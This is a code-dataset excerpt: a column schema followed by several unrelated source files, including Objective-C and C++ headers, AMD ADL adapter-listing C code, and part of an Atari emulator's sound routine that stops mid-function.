hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
588 values
lang
stringclasses
305 values
max_stars_repo_path
stringlengths
3
363
max_stars_repo_name
stringlengths
5
118
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:00:35
2022-03-31 23:43:49
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 12:37:38
2022-03-31 23:59:52
max_issues_repo_path
stringlengths
3
363
max_issues_repo_name
stringlengths
5
118
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
363
max_forks_repo_name
stringlengths
5
135
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:02
2022-03-31 23:27:27
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 08:55:07
2022-03-31 23:59:24
content
stringlengths
5
1.05M
avg_line_length
float64
1.13
1.04M
max_line_length
int64
1
1.05M
alphanum_fraction
float64
0
1
2eb742611bd5af11b1517eafa0477706d6fb5d40
363
h
C
Examples/FX/Pods/FXCommon/Classes/Base/BaseFXViewModel.h
zqw87699/FXSpec
ab6dafb70fda0aa5b83c1d0a7d8cfb40e8140679
[ "MIT" ]
1
2021-08-18T16:12:07.000Z
2021-08-18T16:12:07.000Z
Classes/Base/BaseFXViewModel.h
zqw87699/FXCommon
a31cb354f3eadfcf25c18ac28227940d3567ef67
[ "MIT" ]
null
null
null
Classes/Base/BaseFXViewModel.h
zqw87699/FXCommon
a31cb354f3eadfcf25c18ac28227940d3567ef67
[ "MIT" ]
null
null
null
// // BaseFXViewModel.h // TTTT // // Created by 张大宗 on 2017/2/21. // Copyright © 2017年 张大宗. All rights reserved. // #import <Foundation/Foundation.h> @interface BaseFXViewModel : NSObject - (void)fx_modelWillAppear; - (void)fx_modelDidAppear; - (void)fx_modelWillDisappear; - (void)fx_modelDidDisappear; -(void) fx_modelDidReceiveMemoryWarning; @end
15.125
47
0.727273
ecc3697a68e5e4522aa5cfb3c8fc11cd164e45c7
1,350
h
C
Solutions to exercises/Ch15/Ch15 Soln 1 to 6/resource.h
salomarx/Visual_studio_2008_for_C_plus
5ff62b7e7f6232df38152390cc56c2d394567cab
[ "MIT" ]
null
null
null
Solutions to exercises/Ch15/Ch15 Soln 1 to 6/resource.h
salomarx/Visual_studio_2008_for_C_plus
5ff62b7e7f6232df38152390cc56c2d394567cab
[ "MIT" ]
null
null
null
Solutions to exercises/Ch15/Ch15 Soln 1 to 6/resource.h
salomarx/Visual_studio_2008_for_C_plus
5ff62b7e7f6232df38152390cc56c2d394567cab
[ "MIT" ]
null
null
null
//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by Sketcher.rc // #define IDD_ABOUTBOX 100 #define IDP_OLE_INIT_FAILED 100 #define IDR_MAINFRAME 128 #define IDR_SketcherTYPE 129 #define ID_ELEMENT_LINE 32771 #define ID_ELEMENT_RECTANGLE 32772 #define ID_ELEMENT_CIRCLE 32773 #define ID_ELEMENT_CURVE 32774 #define ID_COLOR_BLACK 32775 #define ID_COLOR_RED 32776 #define ID_COLOR_GREEN 32777 #define ID_COLOR_BLUE 32778 #define ID_BUTTON32779 32779 #define ID_ELEMENT_ELLIPSE 32791 #define ID_PENSTYLE_SOLID 32793 #define ID_PENSTYLE_DASHED 32794 #define ID_PENSTYLE_DOTTED 32795 #define ID_PENSTYLE_DASH 32796 #define ID_PENSTYLE_DASH32797 32797 #define ID_PENSTYLE_DASHDOTTED 32798 #define ID_PENSTYLE_DASHDOTDOTTED 32799 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 130 #define _APS_NEXT_COMMAND_VALUE 32800 #define _APS_NEXT_CONTROL_VALUE 1000 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif
36.486486
47
0.638519
d6dad90e419260c86e9e8565515b48fec8a8a005
1,178
h
C
src/library/blast/grinder/intro_elim_lemmas.h
javra/lean
cc70845332e63a1f1be21dc1f96d17269fc85909
[ "Apache-2.0" ]
130
2016-12-02T22:46:10.000Z
2022-03-22T01:09:48.000Z
src/library/blast/grinder/intro_elim_lemmas.h
soonhokong/lean
38607e3eb57f57f77c0ac114ad169e9e4262e24f
[ "Apache-2.0" ]
8
2017-05-03T01:21:08.000Z
2020-02-25T11:38:05.000Z
src/library/blast/grinder/intro_elim_lemmas.h
soonhokong/lean
38607e3eb57f57f77c0ac114ad169e9e4262e24f
[ "Apache-2.0" ]
28
2016-12-02T22:46:20.000Z
2022-03-18T21:28:20.000Z
/* Copyright (c) 2015 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: Leonardo de Moura */ #pragma once #include "kernel/environment.h" #include "library/io_state.h" #include "library/head_map.h" #include "library/blast/gexpr.h" namespace lean { environment add_elim_lemma(environment const & env, io_state const & ios, name const & c, unsigned prio, name const & ns, bool persistent); environment add_intro_lemma(environment const & env, io_state const & ios, name const & c, unsigned prio, name const & ns, bool persistent); bool is_elim_lemma(environment const & env, name const & c); bool is_intro_lemma(environment const & env, name const & c); void get_elim_lemmas(environment const & env, buffer<name> & r); void get_intro_lemmas(environment const & env, buffer<name> & r); void initialize_intro_elim_lemmas(); void finalize_intro_elim_lemmas(); namespace blast { /* The following indices are based on blast current set of opaque/reducible constants. They must be rebuilt whenever a key is "unfolded by blast */ head_map<gexpr> mk_intro_lemma_index(); name_map<name> mk_elim_lemma_index(); }}
42.071429
140
0.771647
2ffcc0d76a05a1cf27f8d082b745adf9897f077d
311
h
C
Example/Pods/OCMockito/Source/OCMockito/Invocation/MKTParseCallStack.h
heretse/FMEarphoneSDK
08b68863245c845d78b83c2a64fe8f0e27e60228
[ "MIT" ]
null
null
null
Example/Pods/OCMockito/Source/OCMockito/Invocation/MKTParseCallStack.h
heretse/FMEarphoneSDK
08b68863245c845d78b83c2a64fe8f0e27e60228
[ "MIT" ]
null
null
null
Example/Pods/OCMockito/Source/OCMockito/Invocation/MKTParseCallStack.h
heretse/FMEarphoneSDK
08b68863245c845d78b83c2a64fe8f0e27e60228
[ "MIT" ]
null
null
null
// OCMockito by Jon Reid, https://qualitycoding.org/ // Copyright 2018 Jonathan M. Reid. See LICENSE.txt #import <Foundation/Foundation.h> @class MKTCallStackElement; NS_ASSUME_NONNULL_BEGIN NSArray<MKTCallStackElement *> *MKTParseCallStack(NSArray<NSString *> *callStackSymbols); NS_ASSUME_NONNULL_END
22.214286
89
0.794212
ea80b87b3553a9306e5fc81164aa498c80df97e4
1,944
h
C
System/Library/PrivateFrameworks/SoundScapesKit.framework/SSPlaybackEngine.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
5
2021-04-29T04:31:43.000Z
2021-08-19T18:59:58.000Z
System/Library/PrivateFrameworks/SoundScapesKit.framework/SSPlaybackEngine.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
null
null
null
System/Library/PrivateFrameworks/SoundScapesKit.framework/SSPlaybackEngine.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
1
2022-03-19T11:16:23.000Z
2022-03-19T11:16:23.000Z
/* * This header is generated by classdump-dyld 1.5 * on Wednesday, April 28, 2021 at 9:12:57 PM Mountain Standard Time * Operating System: Version 14.5 (Build 18L204) * Image Source: /System/Library/PrivateFrameworks/SoundScapesKit.framework/SoundScapesKit * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley. */ @class NSString, AVQueuePlayer, AVPlayerItem, AVPlayerLooper, NSArray; @interface SSPlaybackEngine : NSObject { NSString* _lastPlayedAsset; AVQueuePlayer* _audioScapesPlayer; AVPlayerItem* _playerItem; AVPlayerLooper* _avPlayerLooper; NSArray* _songs; } @property (retain) AVQueuePlayer * audioScapesPlayer; //@synthesize audioScapesPlayer=_audioScapesPlayer - In the implementation block @property (retain) AVPlayerItem * playerItem; //@synthesize playerItem=_playerItem - In the implementation block @property (retain) AVPlayerLooper * avPlayerLooper; //@synthesize avPlayerLooper=_avPlayerLooper - In the implementation block @property (retain) NSArray * songs; //@synthesize songs=_songs - In the implementation block @property (nonatomic,copy) NSString * lastPlayedAsset; //@synthesize lastPlayedAsset=_lastPlayedAsset - In the implementation block -(id)description; -(id)init; -(void)resume; -(void)stop; -(void)pause; -(AVPlayerItem *)playerItem; -(void)setPlayerItem:(AVPlayerItem *)arg1 ; -(void)play:(id)arg1 ; -(NSArray *)songs; -(void)setSongs:(NSArray *)arg1 ; -(NSString *)lastPlayedAsset; -(void)setLastPlayedAsset:(NSString *)arg1 ; -(AVQueuePlayer *)audioScapesPlayer; -(void)setAudioScapesPlayer:(AVQueuePlayer *)arg1 ; -(AVPlayerLooper *)avPlayerLooper; -(void)setAvPlayerLooper:(AVPlayerLooper *)arg1 ; @end
43.2
148
0.687757
d85a13b72614c104e248623d6b8c88bc6a903f05
5,311
h
C
sdk/lib/sys/component/cpp/testing/realm_builder.h
gnoliyil/fuchsia
a98c2d6ae44b7c485c2ee55855d0441da422f4cf
[ "BSD-2-Clause" ]
4
2020-02-23T09:02:06.000Z
2022-01-08T17:06:28.000Z
sdk/lib/sys/component/cpp/testing/realm_builder.h
gnoliyil/fuchsia
a98c2d6ae44b7c485c2ee55855d0441da422f4cf
[ "BSD-2-Clause" ]
null
null
null
sdk/lib/sys/component/cpp/testing/realm_builder.h
gnoliyil/fuchsia
a98c2d6ae44b7c485c2ee55855d0441da422f4cf
[ "BSD-2-Clause" ]
1
2021-08-23T11:33:57.000Z
2021-08-23T11:33:57.000Z
// Copyright 2021 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef LIB_SYS_COMPONENT_CPP_TESTING_REALM_BUILDER_H_ #define LIB_SYS_COMPONENT_CPP_TESTING_REALM_BUILDER_H_ #include <fuchsia/component/cpp/fidl.h> #include <fuchsia/component/test/cpp/fidl.h> #include <fuchsia/io2/cpp/fidl.h> #include <lib/async/dispatcher.h> #include <lib/sys/component/cpp/testing/internal/mock_runner.h> #include <lib/sys/component/cpp/testing/realm_builder_types.h> #include <lib/sys/component/cpp/testing/scoped_child.h> #include <lib/sys/cpp/component_context.h> #include <lib/sys/cpp/service_directory.h> #include <memory> #include <string> #include <utility> #include <variant> #include <vector> namespace sys { namespace testing { // A Realm is a subtree of the a component instance. This library allows users // to create realms at runtime in an idiomatic and ergonomic way. Users can // create arbitrarily deep subtrees, and route capabilities between any of the // created components. // For more information about RealmBuilder, see the following link. // https://fuchsia.dev/fuchsia-src/development/components/v2/realm_builder // For examples on how to use this library, see the integration tests // found at //sdk/cpp/tests/realm_builder_test.cc class Realm final { public: Realm(Realm&& other) = default; Realm& operator=(Realm&& other) = default; Realm(Realm& other) = delete; Realm& operator=(Realm& other) = delete; // Connect to an interface in the exposed directory of the root component. // // The discovery name of the interface is inferred from the C++ type of the // interface. Callers can supply an interface name explicitly to override // the default name. // // This overload for |Connect| panics if the connection operation // doesn't return ZX_OK. Callers that wish to receive that status should use // one of the other overloads that returns a |zx_status_t|. // // # Example // // ``` // auto echo = realm.Connect<test::placeholders::Echo>(); // ``` template <typename Interface> fidl::InterfacePtr<Interface> Connect( const std::string& interface_name = Interface::Name_) const { return root_.Connect<Interface>(interface_name); } // SynchronousInterfacePtr method overload of |Connect|. See // method above for more details. template <typename Interface> fidl::SynchronousInterfacePtr<Interface> ConnectSync( const std::string& interface_name = Interface::Name_) const { return root_.ConnectSync<Interface>(interface_name); } // Connect to exposed directory of the root component. template <typename Interface> zx_status_t Connect(fidl::InterfaceRequest<Interface> request) const { return root_.Connect<Interface>(std::move(request)); } // Connect to an interface in the exposed directory using the supplied // channel. zx_status_t Connect(const std::string& interface_name, zx::channel request) const; // Get the child name of the root component. std::string GetChildName() const; class Builder; private: explicit Realm(ScopedChild root, std::unique_ptr<internal::MockRunner> mock_runner); ScopedChild root_; std::unique_ptr<internal::MockRunner> mock_runner_; }; // A builder class for a Realm object. Use this class to construct a Realm. class Realm::Builder final { public: // Factory method to create a new RealmBuilder object. // |context| must not be NULL and must outlive the RealmBuilder object and // created Realm object. static Builder New(const sys::ComponentContext* context); Builder(Builder&&) = default; Builder& operator=(Builder&&) = default; Builder(Builder&) = delete; Builder& operator=(Builder&) = delete; // Insert a component at the specified moniker. If a component already exists // at the provided moniker, this method will panic. Furthermore, this // method will create all parts of the moniker if non-existent. For example, // given the moniker `foo/bar`. The library will create a component at path // `foo` before adding its child `bar`. Builder& AddComponent(Moniker moniker, Component component); // Route a capability from one component to another. Builder& AddRoute(CapabilityRoute route); // Build the Realm object add prepared by the associated builder methods, // e.g. |AddComponent|. // |dispatcher| must be non-null, or |async_get_default_dispatcher| must be // configured to return a non-null value // This function can only be called once per RealmBuilder instance. // Multiple invocations will result in a panic. Realm Build(async_dispatcher* dispatcher = nullptr); private: Builder(fuchsia::component::RealmSyncPtr realm_proxy, fuchsia::component::test::RealmBuilderSyncPtr realm_builder_proxy, ServiceDirectory realm_builder_exposed_dir, std::unique_ptr<internal::MockRunner> mock_runner); bool realm_commited_; fuchsia::component::RealmSyncPtr realm_proxy_; fuchsia::component::test::RealmBuilderSyncPtr realm_builder_proxy_; ServiceDirectory realm_builder_exposed_dir_; std::unique_ptr<internal::MockRunner> mock_runner_; }; } // namespace testing } // namespace sys #endif // LIB_SYS_COMPONENT_CPP_TESTING_REALM_BUILDER_H_
37.13986
86
0.749011
1b092c68883d82de2e74f358b062cd717359ae77
1,058
h
C
src/historywork/RepairMissingBucketsWork.h
koltenb/stellar-core
46fdead5e6f6b322c60b79b1b8d085eb56d53fe5
[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSL-1.0", "BSD-3-Clause" ]
1
2019-05-17T05:31:35.000Z
2019-05-17T05:31:35.000Z
src/historywork/RepairMissingBucketsWork.h
flukekiafer/stellar-core
bbda3e666f03d3aa04c4fc4a5c2fae980120570d
[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSL-1.0", "BSD-3-Clause" ]
null
null
null
src/historywork/RepairMissingBucketsWork.h
flukekiafer/stellar-core
bbda3e666f03d3aa04c4fc4a5c2fae980120570d
[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSL-1.0", "BSD-3-Clause" ]
null
null
null
// Copyright 2015 Stellar Development Foundation and contributors. Licensed // under the Apache License, Version 2.0. See the COPYING file at the root // of this distribution or at http://www.apache.org/licenses/LICENSE-2.0 #pragma once #include "history/HistoryArchive.h" #include "work/Work.h" namespace stellar { class Bucket; class TmpDir; struct HistoryArchiveState; class RepairMissingBucketsWork : public Work { using Handler = std::function<void(asio::error_code const& ec)>; Handler mEndHandler; bool mChildrenStarted{false}; HistoryArchiveState mLocalState; std::unique_ptr<TmpDir> mDownloadDir; std::map<std::string, std::shared_ptr<Bucket>> mBuckets; public: RepairMissingBucketsWork(Application& app, HistoryArchiveState const& localState, Handler endHandler); ~RepairMissingBucketsWork() = default; protected: void doReset() override; State doWork() override; void onFailureRaise() override; void onSuccess() override; }; }
25.190476
75
0.705104
37ec1ebf5e01fa502d437fdacf685831ee5ccfe9
3,496
c
C
adl_ls.c
thamada/DVFS-DEGIMA
fc9e3a9d8d824cb93ec54e948ce8e782a8c5d10e
[ "MIT" ]
null
null
null
adl_ls.c
thamada/DVFS-DEGIMA
fc9e3a9d8d824cb93ec54e948ce8e782a8c5d10e
[ "MIT" ]
null
null
null
adl_ls.c
thamada/DVFS-DEGIMA
fc9e3a9d8d824cb93ec54e948ce8e782a8c5d10e
[ "MIT" ]
null
null
null
#include "adl_sdk.h" #include <dlfcn.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> // Definition of ADL functions typedef int ( *ADL_MAIN_CONTROL_CREATE) (ADL_MAIN_MALLOC_CALLBACK, int); typedef int ( *ADL_MAIN_CONTROL_DESTROY) (); typedef int ( *ADL_ADAPTER_NUMBEROFADAPTERS_GET) (int*); typedef int ( *ADL_ADAPTER_ADAPTERINFO_GET ) (LPAdapterInfo, int); typedef int ( *ADL_ADAPTER_ID_GET ) (int, int*); // Memory allocation function void* __stdcall ADL_Main_Memory_Alloc ( int iSize ) { void* lpBuffer = malloc ( iSize ); return lpBuffer; } // Optional Memory de-allocation function void __stdcall ADL_Main_Memory_Free ( void** lpBuffer ) { if ( NULL != *lpBuffer ) { free ( *lpBuffer ); *lpBuffer = NULL; } } int main(int argc, char *argv[]) { int i; void *hDLL; // This will be the handle to the .so library ADL_MAIN_CONTROL_CREATE ADL_Main_Control_Create; ADL_MAIN_CONTROL_DESTROY ADL_Main_Control_Destroy; ADL_ADAPTER_NUMBEROFADAPTERS_GET ADL_Adapter_NumberOfAdapters_Get; ADL_ADAPTER_ADAPTERINFO_GET ADL_Adapter_AdapterInfo_Get; ADL_ADAPTER_ID_GET ADL_Adapter_ID_Get; LPAdapterInfo lp_adapter_info = NULL; int lp_adapter_id; int number_adapters; // Load ADL library hDLL = dlopen("libatiadlxx.so", RTLD_LAZY|RTLD_GLOBAL); if (hDLL == NULL) { printf("ADL Library was not found.\n"); return 0; } // Obtain address of functions ADL_Main_Control_Create = (ADL_MAIN_CONTROL_CREATE) dlsym(hDLL, "ADL_Main_Control_Create"); ADL_Main_Control_Destroy = (ADL_MAIN_CONTROL_DESTROY) dlsym(hDLL, "ADL_Main_Control_Destroy"); ADL_Adapter_NumberOfAdapters_Get = (ADL_ADAPTER_NUMBEROFADAPTERS_GET) dlsym(hDLL, "ADL_Adapter_NumberOfAdapters_Get"); ADL_Adapter_AdapterInfo_Get = (ADL_ADAPTER_ADAPTERINFO_GET) dlsym(hDLL, "ADL_Adapter_AdapterInfo_Get"); ADL_Adapter_ID_Get = (ADL_ADAPTER_ID_GET) dlsym(hDLL, "ADL_Adapter_ID_Get"); // Before using ADL we need to initialize the library if ( ADL_OK != ADL_Main_Control_Create(ADL_Main_Memory_Alloc, 1) ) { printf("[ADL] Failed to initialize.\n"); return 0; } // Get the number of adapters ADL_Adapter_NumberOfAdapters_Get(&number_adapters); printf("[ADL] Number of adapters: %d\n", number_adapters); // Show adapter information if (number_adapters > 0) { // Allocate memory and set as empty char lp_adapter_info = malloc (sizeof(AdapterInfo) * number_adapters); memset(lp_adapter_info, '\0', sizeof(AdapterInfo) * number_adapters); // Get all adapters information ADL_Adapter_AdapterInfo_Get(lp_adapter_info, sizeof(AdapterInfo) * number_adapters); } // For all adapters for (i = 0; i < number_adapters; i++) { printf("Adapter information:\n"); printf("\tAdapter number = %d\n", i); printf("\tADL index handle = %d\n",lp_adapter_info[i].iAdapterIndex); printf("\tDriver number = %d\n",lp_adapter_info[i].iDeviceNumber); printf("\tVendor ID = %d\n",lp_adapter_info[i].iVendorID); printf("\tAdapter name = %s\n", lp_adapter_info[i].strAdapterName); printf("\tAdapter present = %d\n",lp_adapter_info[i].iPresent); ADL_Adapter_ID_Get(lp_adapter_info[i].iAdapterIndex, &lp_adapter_id); printf("\tAdapter Unique ID = %d\n", lp_adapter_id); } free(lp_adapter_info); // Release all ADL global pointers ADL_Main_Control_Destroy(); dlclose(hDLL); return 0; }
33.615385
120
0.716533
1b636c5ee39ca10669607e8f50a7712822ff3d04
45,389
c
C
src/sound.c
softmac/xformer10
75598e6e32a06e647931c24fa762540d68892fc3
[ "MIT" ]
6
2021-06-29T01:44:59.000Z
2021-10-30T19:25:16.000Z
src/sound.c
softmac/xformer10
75598e6e32a06e647931c24fa762540d68892fc3
[ "MIT" ]
1
2021-07-29T06:35:07.000Z
2021-07-29T06:35:07.000Z
src/sound.c
softmac/xformer10
75598e6e32a06e647931c24fa762540d68892fc3
[ "MIT" ]
1
2021-12-24T05:56:13.000Z
2021-12-24T05:56:13.000Z
/**************************************************************************** SOUND.C - Mono and stereo sound routines Copyright (C) 1991-2021 by Darek Mihocka and Danny Miller. All Rights Reserved. Branch Always Software. http://www.emulators.com/ This file is part of the Xformer project and subject to the MIT license terms in the LICENSE file found in the top-level directory of this distribution. No part of Xformer, including this file, may be copied, modified, propagated, or distributed except according to the terms contained in the LICENSE file. 11/30/2008 darekm Gemulator 9.0 release 08/24/2001 darekm Update for SoftMac XP 03/2018 dannymi Support VOLUME ONLY speech synth + DISTORTION ****************************************************************************/ #include "gemtypes.h" // main include file #ifdef XFORMER #include "atari8.vm/atari800.h" #endif HWAVEOUT hWave; WAVEFORMATEX pcmwf; //FILE *fp; // for debug printing of the wave buffer // These are globals, not per-instance. Only 1 instance is controlling sound at a time, even tiled, and it only switches when all // threads are asleep. typedef struct { ULONG frequency; ULONG volume; // 0..15 ULONG distortion; ULONG phase; // not used in 8 bit } VOICE; #ifdef XFORMER static int sCurBuf = -1; // which buffer is the current one we're filling static int sOldSample; // how much of the buffer is full already static WORD sOldFrame; // last frame we saw typedef struct { int pos; // how far along the width of the pulse are we? int width[2]; // width of the two consecutive pulses (1/2 period pulses) for better resolution eg. 17,18,17,18 simulates 17.5 int wi; // width index BOOL phase; // are we doing the top (or bottom) of a square wave? (may be random, doesn't necessarily alternate) } PULSE; static PULSE pulse[4]; // = { {0 },{0},{0},{0} }; // only need to init pos // the old values to use to catch up to the present, when they have just been changed static VOICE rgvoice[4]; // = { { 0,0,0 },{ 0,0,0 },{ 0,0,0 },{ 0,0,0 } }; static BYTE sAUDCTL; static BYTE sCONSOL; #endif #if defined(ATARIST) || defined(SOFTMAC) #define CNT_ANGLES 64 CHAR const mpxsine[CNT_ANGLES + 1] = { 0, 13, 25, 38, 49, 60, 70, 80, 90, 98, 106, 112, 117, 121, 125, 126, 127, 126, 125, 121, 117, 112, 106, 98, 90, 80, 70, 60, 49, 38, 25, 13, 0, -13, -25, -38, -49, -60, -70, -80, -90,-98,-106,-112,-117,-121,-125,-126,-127,-126,-125,-121,-117,-112,-106,-98, -90, -80,-70,-60,-49,-38,-25,-13, 0, }; // // convert a phase angle (0..65535) to a sine (-127..+127) __inline int SineOfPhase(ULONG x) { int i, w; return ((mpxsine[(x >> 16) & (CNT_ANGLES - 1)])); // return mpxsine[(((x) * CNT_ANGLES) >> 16) & (CNT_ANGLES-1)]; i = (((x)* CNT_ANGLES) >> 16) & (CNT_ANGLES - 1); w = ((x)* CNT_ANGLES & 65535) >> 14; return ((mpxsine[i] * (15 - w)) + (mpxsine[i + 1] * w)) / 2; } // // convert phase angle into square wave // __inline int SqrOfPhase(ULONG x) { return ((x >> 22) & 1) ? 127 : -127; } #endif void CALLBACK MyWaveOutProc( HWAVEOUT hwo, UINT uMsg, DWORD_PTR dwInstance, DWORD_PTR dwParam1, DWORD_PTR dwParam2) { hwo; uMsg; dwInstance; dwParam1; dwParam2; #ifndef NDEBUG // this might not have been the case when the buffer was written, so we might report bogus data when switching. but who cares BOOL fPal50 = v.iVM > -1 && rgpvm[v.iVM]->fEmuPAL && !v.fTiling; if (uMsg == WOM_DONE) { int cx = 0; for (int i = 0; i < SNDBUFS; i++) { DWORD dwF = fPal50 ? vi.rgwhdrP[i].dwFlags : vi.rgwhdrN[i].dwFlags; if (dwF & WHDR_DONE) cx++; } if (cx == SNDBUFS) { //ODS("AUDIO GLITCH - EMPTY\n"); } //ODS("DONE %08x (%d free)\n", dwParam1, cx); } #endif } // WRITE SOME AUDIO TO THE WAVE BUFFER // This is OK not being thread safe, because only one thread is allowed in at a time, and we never switch which // thread is allowed in unless all threads are asleep // void SoundDoneCallback(void *candy, int iCurSample) { // We do 50fps only if PAL and not tiling BOOL fPal50 = fPAL && !v.fTiling; LPWAVEHDR pwhdr = fPal50 ? vi.rgwhdrP : vi.rgwhdrN; int SAMPLES_PER_VOICE = fPal50 ? SAMPLES_PAL : SAMPLES_NTSC; // Only do sound for the VM in focus, this code is not thread safe // We only switch VMs when all threads are asleep if ((v.fTiling && (sVM == -1 || rgpvmi(sVM)->pPrivate != candy)) || (!v.fTiling && (v.iVM == -1 || rgpvmi(v.iVM)->pPrivate != candy))) return; // if we have reset since last we were called, init this variable again if (wFrame < sOldFrame) sOldSample = 0; sOldFrame = wFrame; // 8 bit code if (!FIsAtari68K(pvm->bfHW)) { #ifdef XFORMER // write from wherever we left off(sOldSample) to now(iCurSample). If it becomes full, play it. assert(iCurSample <= SAMPLES_PER_VOICE); // find a buffer to use if we haven't already if (sCurBuf == -1) { wCONSOL |= 8; // !!! periodically reset the internal speaker if an app forgets to, so it doesn't distort sound forever for (int i = 0; i < SNDBUFS; i++) { if (pwhdr[i].dwFlags & WHDR_DONE) { sCurBuf = i; sOldSample = 0; // start writing at the beginning of it } } } // uh oh, no free buffers to write into (this will happen naturally when tiling or without brakes) if (sCurBuf == -1) { //if (!v.fTiling && fBrakes) ODS("AUDIO GLITCH - FULL\n"); return; // whatever you do, don't call waveoutWrite! } // we should never try to go back in time assert(iCurSample >= sOldSample); //fprintf(fp, "SOUND[0] %d-%d f=%d v=%d d=%d\n", sOldSample, iCurSample, AUDF1, AUDC1 & 0x0f, AUDC1 >> 4); // nothing to write (make sure sOldSample is reset to 0 when iCurSample == SAMPLES_PER_VOICE) if (iCurSample == sOldSample) { //ODS("Wow, Sound changed so fast we dropped a sample!\n"); goto SaveAud; // at least remember the new values } if (pwhdr[sCurBuf].lpData == NULL) { return; // no sound buffer (usually due to no sound card or sound disabled in remote session) } // where in the buffer to start writing signed char *pb = pwhdr[sCurBuf].lpData + sOldSample * 2; // mono // I know we already take great pains to only call this when something has changed, but because we can be called // so often we reject some calls that were processing the same sample as before, nothing might have changed. // I'm supposing it's quicker to spend these cycles comparing now to save more cycles of computation later. if (iCurSample < SAMPLES_PER_VOICE && AUDCTL == sAUDCTL && sCONSOL == wCONSOL && AUDF1 == rgvoice[0].frequency && AUDC1 == (rgvoice[0].volume | (rgvoice[0].distortion << 4)) && AUDF2 == rgvoice[1].frequency && AUDC2 == (rgvoice[1].volume | (rgvoice[1].distortion << 4)) && AUDF3 == rgvoice[2].frequency && AUDC3 == (rgvoice[2].volume | (rgvoice[2].distortion << 4)) && AUDF4 == rgvoice[3].frequency && AUDC4 == (rgvoice[3].volume | (rgvoice[3].distortion << 4))) { return; // nothing has changed and this doesn't complete a buffer } if (iCurSample - sOldSample == 1 && iCurSample != SAMPLES_PER_VOICE && (AUDC4 & 0x0f) == 0 && rgvoice[3].volume > 0) { rgvoice[3].volume = AUDC4 & 0x0f; return; // app hack for MULE, which sends a single sample of noise every frame which needs to be ignored } if (iCurSample == SAMPLES_PER_VOICE && sOldSample == SAMPLES_PER_VOICE - 1 && (AUDC4 & 0x0f) > 0 && rgvoice[3].volume > 0 // stereo version && *(pb - 4) == 0 && *(pb - 3) == 0) && *(pb - 2) == 0) // mono version { rgvoice[3].volume = 0; // app hack for MULE, the single bad sample is at the end of the buffer } if (!v.fSilentMode) // the only sound flag we listen to is the global one, no per-VM flag { int pCLK = fPAL ? PAL_CLK : NTSC_CLK; int pCLK100 = pCLK * 100; int pCLK28100 = pCLK100 / 28; int pCLK114100 = pCLK100 / 114; // figure out the freq and pulse width of each voice int freq[4]; for (int i = 0; i < 4; i++) { // frequency isn't relevant for volume only sound or if sound will be silent // otherwise, figure out how wide to make the pulses for this voice's frequency // I proceed whenever freq = 0 because you can do fake volume only sound without setting the bit (see bin1\WOOFER.obj) if ((rgvoice[i].distortion & 0x01) == 0 && /* rgvoice[i].frequency != 0 && */ rgvoice[i].volume != 0) { // actual frequency is the current clock divided by (n+1) (x 100 for the precision necessary to count poly clocks) // An additional /2 will happen because this frequency is how often the square wave toggles // Channels 1 and 3 can be clocked with 1.78979 MHz, otherwise the clock is either 15700 or 63921Hz (NTSC) if ((i == 0 && (sAUDCTL & 0x40)) || (i == 2 && (sAUDCTL & 0x20))) { freq[i] = pCLK * 100 / (rgvoice[i].frequency + 1); // Channels 2 and 4 can be combined with channels 1 and 3 for 16 bit precision, clocked by any possible clock // Divide by (n+4) for 64K or (n+7) for 1.79M } else if (i == 1 && (sAUDCTL & 0x10)) { freq[i] = ((sAUDCTL & 0x40) ? pCLK100 : ((sAUDCTL & 0x01) ? pCLK114100 : pCLK28100)) / ((rgvoice[i].frequency << 8) + rgvoice[i - 1].frequency + ((sAUDCTL & 0x40) ? 7 : 4)); } else if (i == 3 && (sAUDCTL & 0x08)) { freq[i] = ((sAUDCTL & 0x20) ? pCLK100 : ((sAUDCTL & 0x01) ? pCLK114100 : pCLK28100)) / ((rgvoice[i].frequency << 8) + rgvoice[i - 1].frequency + ((sAUDCTL & 0x40) ? 7 : 4)); } else { freq[i] = ((sAUDCTL & 0x01) ? pCLK114100 : pCLK28100) / (rgvoice[i].frequency + 1); } // recalculate the pulse width as the freq may have changed, rounded to the nearest half sample. // and possibly alternate 2 values to achieve that (16.5 is 16 17 16 17), otherwise sound 21 = sound 22 // if the widths of the positive pulses are not all the same in pure tones, it sounds distorted, so you can't // allow higher resoltions like 16.1 by doing 9 16's and a 17. static const int sr = SAMPLE_RATE * 1000; // save a couple of cycles pulse[i].width[0] = ((sr / freq[i] * 10 + 25) << 1) / 100; pulse[i].width[1] = pulse[i].width[0] / 2; pulse[i].width[0] -= pulse[i].width[1]; // this may be one more than the other one } } // determine the amplitude for each sample in the buffer we need to fill now for (int i = sOldSample; i < iCurSample; i++) { int bLeft = 0; //left channel amplitude 